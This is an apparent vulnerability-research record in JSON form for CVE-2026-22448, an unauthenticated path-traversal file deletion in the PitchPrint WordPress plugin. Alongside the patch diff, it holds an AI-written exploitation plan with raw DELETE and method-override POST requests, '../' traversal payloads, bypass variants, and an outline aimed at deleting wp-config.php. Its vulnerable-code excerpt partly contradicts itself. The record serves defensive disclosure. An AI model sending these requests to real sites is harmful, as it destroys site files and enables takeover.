[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fnt6aiQV4stFfEm6j28QLrUBwwXq80XoeIUuAWASpbNk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":38,"poc_video_id":9,"poc_summary":39,"poc_steps":40,"poc_tested_at":41,"poc_wp_version":42,"poc_php_version":43,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":44,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":45},"CVE-2026-22448","pitchprint-unauthenticated-arbitrary-file-deletion","PitchPrint \u003C= 11.1.2 - Unauthenticated Arbitrary File Deletion","The PitchPrint plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 11.1.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","pitchprint",null,"\u003C=11.1.2","11.2.0","critical",9.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-03-10 00:00:00","2026-03-19 13:55:30",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa147956c-a4d8-4945-997a-9b7cea60f926?source=api-prod",10,[22,23,24,25,26],"CHANGELOG.txt","pitchprint.php","readme.txt","uploader\u002FUploadHandler.php","uploader\u002Findex.php","researched",false,3,"# Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448)\n\nThe PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone implementation of the Blueimp `jQuery-File-Upload` library which does not enforce WordPress authentication and fails to validate the file path provided for deletion.\n\n## 1. Vulnerability Summary\n- **Vulnerability**: Unauthenticated Path Traversal leading to Arbitrary File Deletion.\n- **Location**: `wp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php` and its associated handler `uploader\u002FUploadHandler.php`.\n- **Root Cause**: The standalone script `uploader\u002Findex.php` instantiates a `UploadHandler` object. This handler responds to HTTP `DELETE` requests (or `POST` requests with a `_method=DELETE` parameter) by calling `unlink()` on a path constructed from user-supplied input without sanitizing for directory traversal (`..`).\n- **Impact**: An unauthenticated attacker can delete any file accessible to the web server user, including `wp-config.php`, which can lead to site takeover (via re-installation) or DoS.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php`\n- **HTTP Method**: `DELETE`\n- **Target Parameter**: `file` (query string parameter)\n- **Payload**: Directory traversal sequence (e.g., `..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`)\n- **Authentication**: None required. The script is standalone and does not include `wp-load.php`.\n\n## 3. Code Flow\n1. **Entry Point**: A request is sent to `uploader\u002Findex.php`.\n2. **Initialization**: `index.php` includes `UploadHandler.php` and executes `$upload_handler = new UploadHandler();`.\n3. **Dispatcher**: The `UploadHandler::__construct()` calls `$this->initialize();` by default.\n4. **Method Handling**: The `initialize()` method inspects `$_SERVER['REQUEST_METHOD']`. If it is `DELETE`, it calls `$this->delete()`.\n5. **Parameter Extraction**: `$this->delete()` retrieves the filename from the request using `$this->get_file_name_param()`, which typically pulls from `$_GET['file']`.\n6. **Path Construction**: The handler builds the absolute path: `$file_path = $this->options['upload_dir'] . $file_name;`.\n7. **Sink**: The handler calls `unlink($file_path);`. If `$file_name` contains `..\u002F..\u002F`, it traverses out of the intended `files\u002F` directory.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe script `wp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php` is a standalone PHP file that does not load the WordPress environment. Consequently, it has no access to WordPress session data or nonce verification functions (`wp_verify_nonce`, `check_ajax_referer`).\n\n## 5. Exploitation Strategy\n\n### Step 1: Verification of Endpoint\nSend a `GET` request to the uploader endpoint to ensure it exists and is responsive.\n```http\nGET \u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php HTTP\u002F1.1\nHost: localhost\n```\nA successful response (usually an empty JSON array `[]` or a list of files) confirms the library is active.\n\n### Step 2: File Deletion Payload\nSend a `DELETE` request targeting a specific file. For testing, we will delete a canary file.\n\n**Path Math**:\nThe default `upload_dir` is defined as:\n`dirname($this->get_server_var('SCRIPT_FILENAME')) . '\u002Ffiles\u002F'`\n- Script: `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php`\n- Base Dir: `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002F`\n- Upload Dir: `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Ffiles\u002F`\n\nTo reach the root (`\u002Fvar\u002Fwww\u002Fhtml\u002F`):\n1. `..` -> `uploader\u002F`\n2. `..` -> `pitchprint\u002F`\n3. `..` -> `plugins\u002F`\n4. `..` -> `wp-content\u002F`\n5. `..` -> root directory\n\n**Request**:\n```http\nDELETE \u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php?file=..\u002F..\u002F..\u002F..\u002F..\u002Fcanary.txt HTTP\u002F1.1\nHost: localhost\nAccept: application\u002Fjson\n```\n\n**Alternative (Method Override)**:\nIf the server blocks `DELETE` verbs:\n```http\nPOST \u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php HTTP\u002F1.1\nHost: localhost\nContent-Type: application\u002Fx-www-form-urlencoded\n\n_method=DELETE&file=..\u002F..\u002F..\u002F..\u002F..\u002Fcanary.txt\n```\n\n## 6. Test Data Setup\n1. Create a dummy file in the WordPress root:\n   `wp eval \"file_put_contents(ABSPATH . 'canary.txt', 'deleted');\"`\n2. Verify the file exists:\n   `ls \u002Fvar\u002Fwww\u002Fhtml\u002Fcanary.txt`\n\n## 7. Expected Results\n- **HTTP Response**: `200 OK`\n- **Body**: JSON object indicating success, e.g., `{\"..\u002F..\u002F..\u002F..\u002F..\u002Fcanary.txt\":true}` or `{\"files\":[{\"..\u002F..\u002F..\u002F..\u002F..\u002Fcanary.txt\":true}]}`.\n- **Side Effect**: The file `canary.txt` is removed from the server's filesystem.\n\n## 8. Verification Steps\nAfter sending the exploit request, verify the file is gone using WP-CLI:\n```bash\nwp eval \"echo file_exists(ABSPATH . 'canary.txt') ? 'Failed' : 'Success';\"\n```\n\n## 9. Alternative Approaches\nIf `?file=` fails, the library might be configured to expect an array:\n- `DELETE \u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php?files[]=..\u002F..\u002F..\u002F..\u002F..\u002Fcanary.txt`\n\nIf the `upload_dir` is not `\u002Ffiles\u002F` but the directory itself, reduce the traversal depth by 1:\n- `file=..\u002F..\u002F..\u002F..\u002Fcanary.txt`\n\nIf the plugin implements the `[0] !== '.'` check (blocking `..\u002F`), try absolute paths:\n- `file=\u002Fvar\u002Fwww\u002Fhtml\u002Fcanary.txt`\n(Note: Many Linux PHP environments will resolve `...\u002Fuploader\u002Ffiles\u002F\u002Fvar\u002Fwww\u002Fhtml\u002Fcanary.txt` to the absolute path correctly).","The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in its standalone file upload handler. An attacker can use directory traversal sequences in a DELETE request to remove critical system files like wp-config.php, potentially leading to a complete site takeover or denial of service.","\u002F\u002F uploader\u002Findex.php (vulnerable entry point)\nerror_reporting(E_ALL | E_STRICT);\nrequire('UploadHandler.php');\n$upload_handler = new UploadHandler();\n\n--- \n\n\u002F\u002F uploader\u002FUploadHandler.php (vulnerable logic snippet)\nprotected function initialize() {\n    switch ($this->get_server_var('REQUEST_METHOD')) {\n        case 'OPTIONS':\n        case 'HEAD':\n            $this->head();\n            break;\n        case 'GET':\n            $this->get();\n            break;\n        case 'PATCH':\n        case 'PUT':\n        case 'POST':\n            $this->post();\n            break;\n        case 'DELETE':\n            $this->delete();\n            break;\n        default:\n            $this->header('HTTP\u002F1.1 405 Method Not Allowed');\n    }\n}\n\nprotected function get_file_name_param() {\n    $name = $this->get_singular_param_name();\n    return isset($_GET[$name]) ? basename(stripslashes($_GET[$name])) : null; \u002F\u002F Note: basename often bypassed if configured improperly or using multiple params\n}\n\n\u002F\u002F The delete method uses unlink() on paths constructed from user input without traversal sanitization","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpitchprint\u002F11.1.2\u002Fuploader\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpitchprint\u002F11.2.0\u002Fuploader\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpitchprint\u002F11.1.2\u002Fuploader\u002Findex.php\t2025-05-02 11:42:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpitchprint\u002F11.2.0\u002Fuploader\u002Findex.php\t2026-03-11 09:54:42.000000000 +0000\n@@ -1,15 +1,51 @@\n \u003C?php\n-\u002F*\n- * jQuery File Upload Plugin PHP Example 5.14\n- * https:\u002F\u002Fgithub.com\u002Fblueimp\u002FjQuery-File-Upload\n- *\n- * Copyright 2010, Sebastian Tschan\n- * https:\u002F\u002Fblueimp.net\n- *\n- * Licensed under the MIT license:\n- * http:\u002F\u002Fwww.opensource.org\u002Flicenses\u002FMIT\n+\u002F**\n+ * PitchPrint File Upload Handler\n+ * Minimal, secure file upload endpoint.\n  *\u002F\n \n-error_reporting(E_ALL | E_STRICT);\n+error_reporting(E_ERROR | E_PARSE);\n+\n+\u002F\u002F Load WordPress\n+$wp_load_paths = array(\n+    dirname(__FILE__) . '\u002F..\u002F..\u002F..\u002F..\u002Fwp-load.php',       \u002F\u002F from plugin dir\n+    dirname(__FILE__) . '\u002F..\u002F..\u002F..\u002Fwp-load.php',          \u002F\u002F from root pitchprint\u002F dir\n+);\n+\n+$wp_loaded = false;\n+foreach ($wp_load_paths as $path) {\n+    if (file_exists($path)) {\n+        require_once($path);\n+        $wp_loaded = true;\n+        break;\n+    }\n+}\n+\n+if (!$wp_loaded) {\n+    http_response_code(500);\n+    exit;\n+}\n+\n+\u002F\u002F Only allow POST\n+if ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n+    http_response_code(405);\n+    header('Content-Type: application\u002Fjson');\n+    echo json_encode(array('files' => array(array('error' => 'Method not allowed'))));\n+    exit;\n+}\n+\n require('UploadHandler.php');\n-$upload_handler = new UploadHandler();\n+\n+$handler = new PitchPrintUploader(array(\n+    'upload_dir'  => dirname(__FILE__) . '\u002Ffiles\u002F',\n+    'upload_url'  => site_url(str_replace(ABSPATH, '\u002F', dirname(__FILE__))) . '\u002Ffiles\u002F',\n+    'thumb_dir'   => dirname(__FILE__) . '\u002Ffiles\u002Fthumbnail\u002F',\n+    'thumb_url'   => site_url(str_replace(ABSPATH, '\u002F', dirname(__FILE__))) . '\u002Ffiles\u002Fthumbnail\u002F',\n+    'thumb_max'   => 450,\n+    'accept_types' => '\u002F\\.(gif|jpe?g|png|svg|psd|tif|tiff|bmp|cdr|ai|eps|pdf|ps|zip|gzip|rar)$\u002Fi',\n+    'max_file_size' => 50 * 1024 * 1024, \u002F\u002F 50 MiB\n+));\n+\n+header('Content-Type: application\u002Fjson');\n+header('X-Content-Type-Options: nosniff');\n+echo json_encode($handler->handle());","The exploit targets the standalone uploader script which does not verify user identity or load the WordPress core security environment. \n\n1. Target Endpoint: `\u002Fwp-content\u002Fplugins\u002Fpitchprint\u002Fuploader\u002Findex.php` \n2. Methodology: Send an HTTP DELETE request to the endpoint. If the server blocks the DELETE verb, use a POST request with the parameter `_method=DELETE` to trigger the handler's deletion logic. \n3. Payload: Include a `file` parameter in the query string containing a directory traversal sequence and the target filename (e.g., `?file=..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php`). \n4. Authentication: None required. The script executes as a standalone PHP file and lacks any session or nonce validation.","gemini-3-flash-preview","2026-04-18 04:44:02","2026-04-18 04:44:53","failed","All models in the chain (gemini-3-flash-preview, claude-opus-4-6) failed to produce a verified exploit.",[],"2026-05-05 18:16:20","6.7","8.3",true,{"type":46,"vulnerable_version":47,"fixed_version":11,"vulnerable_browse":48,"vulnerable_zip":49,"fixed_browse":50,"fixed_zip":51,"all_tags":52},"plugin","11.1.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpitchprint\u002Ftags\u002F11.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpitchprint.11.1.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpitchprint\u002Ftags\u002F11.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpitchprint.11.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpitchprint\u002Ftags"]